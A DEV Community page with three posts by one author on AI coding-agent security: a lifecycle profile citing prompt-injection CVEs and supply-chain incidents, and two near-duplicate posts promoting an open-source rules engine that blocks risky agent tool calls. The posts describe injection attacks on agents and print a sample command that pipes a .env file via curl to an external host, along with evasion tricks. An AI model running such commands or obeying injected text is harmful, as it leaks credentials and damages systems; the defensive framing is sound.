DEV Community: Dennis Liu

One SDLC, two kinds of author: securing development when AI agents write the code

Dennis Liu — Tue, 13 Oct 2026 13:25:52 +0000

A lot of teams now have two kinds of author in every repository. One is a person. The other is a coding agent with a shell, a package manager and permission to commit.

A common question is whether that calls for a separate "AI SDLC" running alongside the normal one. The security frameworks, the research and the incident record point to a different answer:

Keep one lifecycle, and add a security profile for AI-assisted development on top of it.

The code problem hasn't gone away

Newer models haven't made the "AI writes insecure code" problem disappear.

Veracode's 2026 GenAI Code Security Report tested more than 100 models and found an average security pass rate of 56%, which it described as "virtually unchanged" from the year before (Veracode). That's a vendor study scored with its own scanner, and the models were tested without any security prompting. Still, the trend line is flat.

Agents working on real repositories are a newer area of research, and results swing a lot with the model, the agent harness and how much supervision it gets. The finding that keeps repeating is simpler: working code and secure code aren’t the same thing. A green test run tells you the feature works, not that it’s safe.

Then there's the human side. In Stanford's study at ACM CCS 2023, developers using an AI assistant wrote less secure code and were more confident that it was secure (arXiv). That combination is the dangerous part: review gets lighter exactly when it should get heavier.

![A software lifecycle loop with a human and an AI working together inside a security shield]

The agent itself is new attack surface

Insecure code is the familiar half. The newer half is that the agent is a privileged process on a developer's machine, and it reads a lot of untrusted text.

Over the past year, pretty much every major coding tool has had a vulnerability where opening a malicious repository could lead to code execution or leaked credentials:

GitHub Copilot (CVE-2025-53773): injected instructions got the agent to switch on auto-approval in .vscode/settings.json, then run commands (Wiz).
Cursor (CVE-2025-54135 and CVE-2025-54136): injection through MCP data, and an already-approved MCP config silently swapped for a malicious command (Tenable).
OpenAI Codex CLI (CVE-2025-61260): a repository's config made MCP commands run at startup without approval (Check Point Research).
Claude Code has had its own command-parsing bypasses, such as CVE-2025-58764 (advisory).

These are patched. The lesson that stays is that repository config, rule files and MCP definitions have become an execution path. Simon Willison's "lethal trifecta" explains why: an agent with access to private data, exposure to untrusted content and a way to send data out is an exfiltration tool waiting for the right prompt (Simon Willison).

The supply chain shows up too:

Package hallucination. In the USENIX Security 2025 study, commercial models recommended packages that didn't exist 5.2% of the time, and open-source models 21.7% of the time, across 205,474 unique made-up names. Anyone can register those names (arXiv).
Malicious MCP servers. postmark-mcp, the first one found in the wild, quietly BCC'd every email it sent to the attacker (Koi). Anthropic's own docs are clear that it "does not security-audit or manage any MCP server" (Claude Code security docs).
Malware that drives your agent for you. The compromised Nx npm package in August 2025 looked for locally installed AI CLIs and prompted them to search the disk for secrets (StepSecurity).
Compromised tooling. An Amazon Q Developer extension release for VS Code shipped with an injected instruction to delete local files and cloud resources, after an over-scoped GitHub token let an attacker commit to it. AWS says the payload didn't execute because of a syntax error (AWS-2025-015).

Why one SDLC, not two

After all that, a dedicated "AI SDLC" can look like the obvious response. The major security frameworks don't recommend one.

NIST's profile for generative AI is blunt about it. Its practices "do not distinguish between human-written and AI-generated source code, because it is assumed that all source code should be evaluated for vulnerabilities and other issues before use" (NIST SP 800-218A). The profile also only works on top of the main SSDF, not instead of it.

The others say the same thing in different words. OWASP's Top 10:2025 puts it simply: "You are responsible for all code that you commit" (OWASP). CIS and SAFECode say AI-generated code should get "the same testing, review, and validation processes as human-written software." The Cloud Security Alliance's draft Agentic Secure Development Lifecycle says it "does not replace traditional SDL practices. It extends them" (CSA).

Even Anthropic's own AI-native SDLC playbook frames it as one lifecycle that "combines the old control objectives with new enforcement" and "has to fit around what exists" (Anthropic).

There's a practical argument too. Human and AI code end up in the same pull request, so there's no clean line to route work down. And if there are two tracks with different gates, people will use whichever one has fewer gates.

What's actually new: the agent as a privileged actor

So the code goes through the same gates. What genuinely has no home in a traditional SDLC is governing the agent itself: what it can read, what it can run, which tools and MCP servers it talks to, what identity it uses, and what it logs. That's closer to CI/CD platform security than to a second lifecycle.

![A friendly robot coding inside a glass sandbox while a developer holds approve and stop buttons]

A starting profile for AI-assisted development

A reasonable starting set of controls is below. None of it is exotic, and most of it is configuration rather than process.

Approved tools and accounts. Use enterprise or commercial plans only. The account type decides whether your code can be used for training: Anthropic, for example, separates consumer plans from commercial ones on exactly this point (data usage). Funding approved seats beats banning tools, because bans push people to whatever they can sign up for themselves.

Keep sensitive data out of agent sessions. No production data, customer data or secrets in prompts or in the files the agent can read. Agents can read whatever the developer's account can read unless you restrict them, so deny access to .env files, connection strings and certificate stores, and use synthetic test data.

Central, managed agent settings. Most coding agents now support policy that IT can push and developers can't override. For Claude Code that means managed settings that disable bypass mode, allow only managed hooks and approved MCP servers, and turn on audit telemetry (managed settings). Check every key against the current docs before you deploy, because these change.

Isolation where it matters. Run agents in containers or VMs for untrusted repositories, which is also Anthropic's own advice. Note that Claude Code's built-in sandbox doesn't run on native Windows, so Windows-heavy teams should lean on WSL2, dev containers or VMs (sandboxing).

Treat agent config as code. Put CODEOWNERS on .claude/, .mcp.json, .vscode/, CLAUDE.md and AGENTS.md, and scan for hidden Unicode in rule files.

Human review with separation. Agents shouldn't push to main, and the person who prompted the agent shouldn't be the only approver. GitHub's Copilot cloud agent is a good reference model: it can only push to its own branches and can't approve its own pull request (GitHub docs).

Label AI-assisted changes. A co-author trailer or a pull request checkbox costs nothing. It lets you measure whether AI-assisted changes carry more findings, and it helps you scope an incident later.

Gate new dependencies. Route packages through an approved feed or proxy, use lock files, and put a review step on any new package. That's your defence against invented package names.

Tier the risk by code area. The UK NCSC's "vibe coding spectrum" says to "slide left (towards manual)" for authentication, secrets and sensitive personal data (NCSC). In practice that means tests and docs can take more agent autonomy, while auth, crypto and anything touching personal data stay human-led with deep review.

Log what the agent does. Send agent telemetry to your SIEM and alert on things like bypass mode being switched on or a new MCP server appearing.

If you're in Australia, the OAIC's guidance on commercial AI products is worth reading alongside this, especially if you handle health or other sensitive information (OAIC).

Where to start

These controls don't have to arrive all at once. Many of them are a settings change or a repository rule, so they can be adopted one at a time, starting with whichever gap worries you most.

One thing to keep separate: securing AI features inside your product is a different problem, with different controls (prompt injection in your app, model supply chain, output handling). It deserves its own profile rather than getting folded into this one.

A few community "AI SDLC" frameworks have appeared on GitHub this year, and some have good ideas, like tracing requirements to tests or leaving every change for human review before it's committed. Most say very little about security, and that's the part worth adding.

The tool-call boundary is where AI agent security actually happens

Dennis Liu — Sat, 25 Jul 2026 08:21:33 +0000

I gave my coding agent shell access and mostly it was great — until it wasn't.

One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a .env over curl "to test the deploy." Neither was malice; both were an agent faithfully turning some text in its context window into an action. And once an agent can run commands, the distance between "helpful" and "incident" is one bad tool call.

So where do you actually stop that call?

The two common answers both disappointed me. A human approving every action works for exactly two days, then everyone rubber-stamps. An LLM watching the LLM is slow, non-deterministic, and — this is the fatal part — injectable by the same poisoned text it's supposed to catch. I wanted something boring and correct instead: a deterministic check at the one place every agent action has to pass through. This post is the argument for where that check belongs, and how a decision can be made in milliseconds without ever calling a model.

An agent is an unprivileged process taking untrusted instructions

From a security standpoint, an AI coding agent is an unprivileged process that takes instructions from an untrusted source and turns them into actions. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.

Framed that way, the failure modes aren't exotic:

Secret exfiltration — the agent reads ~/.aws/credentials or .env and pipes it to a URL.
Destructive commands — rm -rf against the wrong path; a "cleanup" that isn't.
Reverse shells / C2 egress — an outbound connection to somewhere you didn't approve.
Prompt injection → action — a poisoned README says "run this to set up the project," and the agent does.

The structural detail that matters: everything an agent does to the outside world goes through one choke point — the tool call. File reads, shell commands, network requests: all of it is a tool invocation. That's where intent becomes action, and that's the natural place to enforce a boundary. Not inside the model (you can't trust its output), and not only in the sandbox underneath (too coarse to say "this specific call is exfiltration"). Right at the call.

Why not "an LLM to guard the LLM"

The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. For a hard security boundary I think that's the wrong layer, for three reasons:

Non-determinism. The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.
Latency. A model round-trip on every tool call is too slow to sit synchronously in the hot path.
It's part of the attack surface. The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.

For a boundary you want the opposite properties: deterministic, auditable, fast, and independent of the thing it's adjudicating. That rules an LLM out of the decision path — which sounds limiting until you see how far explicit rules actually get you.

Wiring in without touching the agent's code

To sit at the tool-call boundary for agents you didn't write, you need two interception points, because the ecosystem hasn't standardized on one:

Hooks — agents with a native hook system (Claude Code, Codex) let you register PreToolUse / PostToolUse handlers. Every tool call is evaluated before it runs.
MCP proxy — anything speaking the Model Context Protocol can be intercepted by sitting inline as a proxy, so every tools/call passes through you first.

Between those two, you cover most of the current agent landscape — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, opencode — without patching any of them. It runs as your user (never root) and never needs to phone home.

How a deterministic decision actually works

When a tool call arrives, you classify it against an explicit rule catalog and return one of three verdicts:

Allow — clearly safe. Runs silently, no prompt fatigue.
Deny — clearly dangerous (secret exfil, rm -rf, reverse shells, injection-driven calls). Blocked outright.
Ask — genuinely ambiguous. Pause and ask a human.

Two properties carry the whole design:

No LLM in the decision path. It's a rules engine. Same input → same verdict, in well under 100ms, so it can gate every call synchronously without anyone noticing the latency.
Fail-closed. If evaluation errors, times out, or a call can't be classified, the result is deny, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is Deny > Ask > Allow.

Concretely, a blocked call looks like this:

tool call:  bash  →  cat .env | curl -X POST https://unknown.host -d @-
verdict:    DENY  (secrets.egress)  in 6ms
reason:     reads a sensitive credential file and sends it to an external host

Nothing about that decision involved another model. It's a rule, and you can read it, diff it, and argue with it.

The ambiguous cases: one-tap Allow/Deny from your phone

Plenty of calls aren't clear-cut. Should the agent git push to this remote? Install this package? Write outside the project directory? Hard-coding those as allow or deny is how you get a control people rip out.

That's what Ask is for: pause the agent and send a one-tap Allow / Deny — and not just to the terminal, but over Telegram, Discord, Slack, Matrix, Mattermost, or WhatsApp. You let the agent keep working while you're away and just tap "deny" when it wants something you didn't intend. Don't answer in time? Auto-deny — fail-closed again.

Explicit rules give you coverage you can reason about

The payoff of rules-over-vibes is that findings map to real frameworks instead of a model's opinion:

Rules tag to the OWASP Agentic Security Initiative (ASI) Top 10, the OWASP LLM Top 10, and MITRE ATLAS.
Verdicts and scan findings export as SARIF 2.1.0, so they drop straight into the code-scanning tools your CI already understands.

You can also scan code/skills statically before you install them, keep a hash-chained (tamper-evident) audit log, and plant honeypot canaries — but the tool-call boundary is the core idea; the rest is defense-in-depth around it.

Honest limits — where this approach can be pushed

I'd rather state what this doesn't do than get called out for it:

It's a policy layer, not a sandbox. It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Real defense-in-depth still wants containers or VMs underneath.
Deterministic rules mean an evasion arms race. Obfuscated command construction (base64-piped-to-sh, staged writes, living-off-the-land binaries) is a genuine surface. This is the part I'm least done with.
Human-in-the-loop trades security for UX. Too many "Ask" prompts and people click through them blindly. Tuning the allow/ask/deny line is ongoing work, not a solved problem.

I built this, and it's open source

The above isn't hypothetical — I implemented it as Belay, an open-source (AGPL-3.0), local-first policy layer for AI coding agents. One installer auto-detects the agents you already run and wires in via hooks or the MCP proxy:

curl -fsSL https://dl.belay.secblok.io/install.sh | bash

Docs and the desktop app are at belay.secblok.io; the repo is github.com/SECBLOK/belay.

If you run agents unattended, I'd genuinely value pushback on two things: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The allow/deny rules are all in the open — come argue with them, break them, and PR the ones I missed.

I built a security layer for AI coding agents — here's how it decides, with no LLM in the loop

Dennis Liu — Thu, 23 Jul 2026 13:52:21 +0000

I gave my coding agent shell access and mostly it was great — until it wasn't.

One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a .env over curl "to test the deploy." The usual answer is a human approving every call, which nobody actually does past day two. The other answer — an LLM watching the LLM — is slow, non-deterministic, and itself injectable.

I wanted something boring and correct: a deterministic policy engine at the tool-call boundary that blocks the clearly-dangerous stuff in milliseconds and only interrupts me when a call is genuinely ambiguous.

That's Belay. It's open source (AGPL-3.0), local-first, and runs as your user. Here's the threat model, where it sits, and exactly how it makes a decision without ever calling a model.

The threat model: what goes wrong when agents get tool access

From a security standpoint, an AI coding agent is an unprivileged process that takes instructions from an untrusted source and turns them into actions. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.

So the failure modes aren't exotic:

Secret exfiltration — the agent reads ~/.aws/credentials or .env and pipes it to a URL.
Destructive commands — rm -rf against the wrong path; a "cleanup" that isn't.
Reverse shells / C2 egress — an outbound connection to somewhere you didn't approve.
Prompt injection → action — a poisoned README says "run this to set up the project," and the agent does.

The important structural detail: everything the agent does to the outside world goes through one choke point — the tool call. That's where intent becomes action, and that's where I think enforcement belongs.

Why not "an LLM to guard the LLM"

The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. I think that's the wrong layer for a hard security boundary, for three reasons:

Non-determinism. The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.
Latency. A model round-trip on every tool call is too slow to sit synchronously in the hot path.
It's part of the attack surface. The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.

For a boundary you want the opposite properties: deterministic, auditable, fast, and independent of the thing it's adjudicating.

Where Belay sits

Belay wires in at the tool-call boundary two ways, so it's agent-agnostic:

Hooks — for agents with a native hook system (Claude Code, Codex), it registers PreToolUse / PostToolUse hooks. Every tool call is evaluated before it runs.
MCP proxy — for anything speaking the Model Context Protocol, Belay sits inline as a proxy, so every tools/call passes through it first.

One installer auto-detects what you already run — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, OpenClaw, opencode — and wires in the right way for each. It runs as your user (never root) and never phones home.

How it decides — deterministic, no LLM

When a tool call arrives, Belay classifies it against a compiled rule catalog and returns one of three verdicts:

Allow — clearly safe. Runs silently, no prompt fatigue.
Deny — clearly dangerous (secret exfil, rm -rf, reverse shells, injection-driven calls). Blocked outright.
Ask — genuinely ambiguous. Pauses and asks a human (more on that below).

Two properties matter most:

No LLM in the decision path. It's a deterministic rules engine. Same input → same verdict, in well under 100ms, so it can gate every call synchronously.
Fail-closed. If evaluation errors, times out, or a call can't be classified, the result is deny, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is Deny > Ask > Allow.

Conceptually, a blocked call looks like this:

tool call:  bash  →  cat .env | curl -X POST https://unknown.host -d @-
verdict:    DENY  (secrets.egress)  in 6ms
reason:     reads a sensitive credential file and sends it to an external host

Nothing about that decision involved another model. It's a rule, and you can read it.

The ask path: one-tap Allow/Deny, from your phone

Not everything is clear-cut. Should the agent be allowed to git push to this remote? Install this package? Write outside the project directory?

For those, Belay's verdict is Ask — it pauses the agent and sends you a one-tap Allow / Deny. Not just in the terminal: over Telegram, Discord, WhatsApp, Matrix, Mattermost, or Slack. So you can let the agent keep working while you're away from the keyboard and just tap "deny" when it wants to do something you didn't intend. If you don't answer in time, it auto-denies — fail-closed again.

Coverage you can reason about: OWASP, MITRE, SARIF

Because the rules are explicit, findings map to frameworks instead of vibes:

Rules are tagged to the OWASP Agentic Security Initiative (ASI) Top 10, the OWASP LLM Top 10, and MITRE ATLAS.
Verdicts and scan findings export as SARIF 2.1.0, so they drop into the code-scanning tools your CI already understands.

There's also a static scanner for code/skills before you install them, a hash-chained (tamper-evident) audit log, and honeypot canaries — but the tool-call boundary is the core.

Honest limits — where I'd want you to push

I'd rather tell you what this doesn't do than get called out for it:

It's a policy layer, not a sandbox. It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Defense-in-depth still wants containers or VMs underneath.
Deterministic rules mean an evasion arms race. Obfuscated command construction (base64-piped-to-sh, staged writes, living-off-the-land binaries) is a real surface. I'd genuinely like input here.
Human-in-the-loop trades security for UX. Too many "Ask" prompts and people click through them. Tuning the allow/ask/deny line is ongoing.

Try it

curl -fsSL https://dl.belay.secblok.io/install.sh | bash

Or grab the desktop app / see the docs at belay.secblok.io.

Repo: https://github.com/SECBLOK/belay
Discord: https://discord.com/invite/pySdeDFy6y

If you run agents unattended, I'd love your feedback on two things specifically: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The block/allow rules are in the open — come argue with them, break them, and PR the ones I missed.